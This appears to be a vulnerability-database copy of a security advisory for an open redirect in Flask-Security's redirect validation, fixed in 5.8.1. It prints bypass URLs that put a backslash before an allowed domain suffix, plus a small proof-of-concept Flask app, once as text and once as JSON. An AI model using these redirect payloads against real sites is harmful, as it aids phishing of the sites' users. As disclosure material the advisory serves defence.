GHSA-W2J7-F3C6-G8CW

Vulnerability from github – Published: 2026-06-23 22:46 – Updated: 2026-06-23 22:46
VLAI
Summary
Flask-Security has an Open Redirect issue
Details

Open Redirect in Flask-Security

Summary

flask_security.utils.validate_redirect_url() can allow an attacker-controlled redirect URL when subdomain redirects are enabled.

The bypass uses a backslash inside the URL authority/host:

http://evil.com\.whitelist.com
http://evil.com%5C.whitelist.com

Python's urlsplit() parses the full authority as evil.com\.whitelist.com or evil.com%5C.whitelist.com. Because the value ends with .whitelist.com, validate_redirect_url() accepts it as an allowed subdomain of whitelist.com.

This is similar in class to the previous Flask-Security-Too open redirect advisory CVE-2023-49438 / GHSA-672h-6x89-76m5, where crafted redirect URLs bypassed validation through browser URL normalization behavior.

Affected Configuration

The issue requires subdomain redirects to be enabled:

SERVER_NAME = "whitelist.com"
SECURITY_REDIRECT_ALLOW_SUBDOMAINS = True

Tested environment:

Flask-Security: 5.8.0
Flask: 3.1.3
Werkzeug: 3.1.8

Impact

An attacker can craft a URL that passes Flask-Security's redirect validation and produces a 302 response to an attacker-controlled URL-like authority.

This can be used for phishing or other attacks that rely on a trusted application redirecting users to an attacker-controlled destination.

Proof of Concept

PoC Flask App

from __future__ import annotations

from importlib.metadata import version
from urllib.parse import urlsplit

from flask import Flask, jsonify, redirect, request

from flask_security.utils import validate_redirect_url


app = Flask(__name__)
app.config.update(
    SECRET_KEY="poc-only",
    SERVER_NAME="whitelist.com",
    SECURITY_REDIRECT_ALLOW_SUBDOMAINS=True,
    SECURITY_REDIRECT_BASE_DOMAIN=None,
    SECURITY_REDIRECT_ALLOWED_SUBDOMAINS=[],
)


@app.get("/")
def index():
    return jsonify(
        flask_version=version("Flask"),
        configured_server_name=app.config["SERVER_NAME"],
        examples=[
            r"http://evil.com\.whitelist.com",
            "http://evil.com%5C.whitelist.com",
            "http://sub.whitelist.com",
            "http://sub.not-whitelist.com",
        ],
    )


@app.get("/check")
def check():
    next_url = request.args.get("next", "")
    parsed = urlsplit(next_url)

    return jsonify(
        next=next_url,
        valid=validate_redirect_url(next_url),
        parsed={
            "scheme": parsed.scheme,
            "netloc": parsed.netloc,
            "hostname": parsed.hostname,
            "path": parsed.path,
        },
    )


@app.get("/redir")
def redir():
    next_url = request.args.get("next", "")
    if not validate_redirect_url(next_url):
        return jsonify(error="blocked", next=next_url), 400

    return redirect(next_url)


if __name__ == "__main__":
    app.run(host="127.0.0.1", port=5000, debug=False)

Steps to Reproduce

Run the PoC with the target project's Flask version:

.venv/bin/python poc_redirect_app.py

The invalid comparison case is correctly blocked:

http://127.0.0.1:5000/redir?next=http://evil.com

Observed result:

image

Check the validation result:

http://127.0.0.1:5000/check?next=http://evil.com%5C.whitelist.com

Observed result:

image

References

  • CVE-2023-49438: https://advisories.gitlab.com/pypi/flask-security-too/CVE-2023-49438/
  • GHSA-672h-6x89-76m5: https://osv.dev/vulnerability/CVE-2023-49438
  • NVD entry for CVE-2023-49438: https://nvd.nist.gov/vuln/detail/CVE-2023-49438
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.8.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "Flask-Security"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-23T22:46:31Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# Open Redirect in Flask-Security\n\n## Summary\n\n`flask_security.utils.validate_redirect_url()` can allow an attacker-controlled redirect URL when subdomain redirects are enabled.\n\nThe bypass uses a backslash inside the URL authority/host:\n\n```text\nhttp://evil.com\\.whitelist.com\nhttp://evil.com%5C.whitelist.com\n```\n\nPython\u0027s `urlsplit()` parses the full authority as `evil.com\\.whitelist.com` or `evil.com%5C.whitelist.com`. Because the value ends with `.whitelist.com`, `validate_redirect_url()` accepts it as an allowed subdomain of `whitelist.com`.\n\nThis is similar in class to the previous Flask-Security-Too open redirect advisory CVE-2023-49438 / GHSA-672h-6x89-76m5, where crafted redirect URLs bypassed validation through browser URL normalization behavior.\n\n## Affected Configuration\n\nThe issue requires subdomain redirects to be enabled:\n\n```python\nSERVER_NAME = \"whitelist.com\"\nSECURITY_REDIRECT_ALLOW_SUBDOMAINS = True\n```\n\nTested environment:\n\n```text\nFlask-Security: 5.8.0\nFlask: 3.1.3\nWerkzeug: 3.1.8\n```\n\n## Impact\n\nAn attacker can craft a URL that passes Flask-Security\u0027s redirect validation and produces a `302` response to an attacker-controlled URL-like authority.\n\nThis can be used for phishing or other attacks that rely on a trusted application redirecting users to an attacker-controlled destination.\n\n## Proof of Concept\n\n### PoC Flask App\n\n```python\nfrom __future__ import annotations\n\nfrom importlib.metadata import version\nfrom urllib.parse import urlsplit\n\nfrom flask import Flask, jsonify, redirect, request\n\nfrom flask_security.utils import validate_redirect_url\n\n\napp = Flask(__name__)\napp.config.update(\n    SECRET_KEY=\"poc-only\",\n    SERVER_NAME=\"whitelist.com\",\n    SECURITY_REDIRECT_ALLOW_SUBDOMAINS=True,\n    SECURITY_REDIRECT_BASE_DOMAIN=None,\n    SECURITY_REDIRECT_ALLOWED_SUBDOMAINS=[],\n)\n\n\n@app.get(\"/\")\ndef index():\n    return jsonify(\n        flask_version=version(\"Flask\"),\n        configured_server_name=app.config[\"SERVER_NAME\"],\n        examples=[\n            r\"http://evil.com\\.whitelist.com\",\n            \"http://evil.com%5C.whitelist.com\",\n            \"http://sub.whitelist.com\",\n            \"http://sub.not-whitelist.com\",\n        ],\n    )\n\n\n@app.get(\"/check\")\ndef check():\n    next_url = request.args.get(\"next\", \"\")\n    parsed = urlsplit(next_url)\n\n    return jsonify(\n        next=next_url,\n        valid=validate_redirect_url(next_url),\n        parsed={\n            \"scheme\": parsed.scheme,\n            \"netloc\": parsed.netloc,\n            \"hostname\": parsed.hostname,\n            \"path\": parsed.path,\n        },\n    )\n\n\n@app.get(\"/redir\")\ndef redir():\n    next_url = request.args.get(\"next\", \"\")\n    if not validate_redirect_url(next_url):\n        return jsonify(error=\"blocked\", next=next_url), 400\n\n    return redirect(next_url)\n\n\nif __name__ == \"__main__\":\n    app.run(host=\"127.0.0.1\", port=5000, debug=False)\n```\n\n### Steps to Reproduce\n\nRun the PoC with the target project\u0027s Flask version:\n\n```bash\n.venv/bin/python poc_redirect_app.py\n```\n\nThe invalid comparison case is correctly blocked:\n\n```bash\nhttp://127.0.0.1:5000/redir?next=http://evil.com\n```\n\nObserved result:\n\n\u003cimg width=\"1019\" height=\"294\" alt=\"image\" src=\"https://github.com/user-attachments/assets/de25ac4d-b37f-4369-928e-f44dfd5b7557\" /\u003e\n\nCheck the validation result:\n\n```bash\nhttp://127.0.0.1:5000/check?next=http://evil.com%5C.whitelist.com\n```\n\nObserved result:\n\n\u003cimg width=\"1029\" height=\"634\" alt=\"image\" src=\"https://github.com/user-attachments/assets/8e5ec8a6-42a4-438a-8d12-a27724519091\" /\u003e\n\n## References\n\n- CVE-2023-49438: https://advisories.gitlab.com/pypi/flask-security-too/CVE-2023-49438/\n- GHSA-672h-6x89-76m5: https://osv.dev/vulnerability/CVE-2023-49438\n- NVD entry for CVE-2023-49438: https://nvd.nist.gov/vuln/detail/CVE-2023-49438",
  "id": "GHSA-w2j7-f3c6-g8cw",
  "modified": "2026-06-23T22:46:31Z",
  "published": "2026-06-23T22:46:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pallets-eco/flask-security/security/advisories/GHSA-w2j7-f3c6-g8cw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-49438"
    },
    {
      "type": "WEB",
      "url": "https://advisories.gitlab.com/pypi/flask-security-too/CVE-2023-49438"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pallets-eco/flask-security"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2023-49438"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Flask-Security has an Open Redirect issue"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…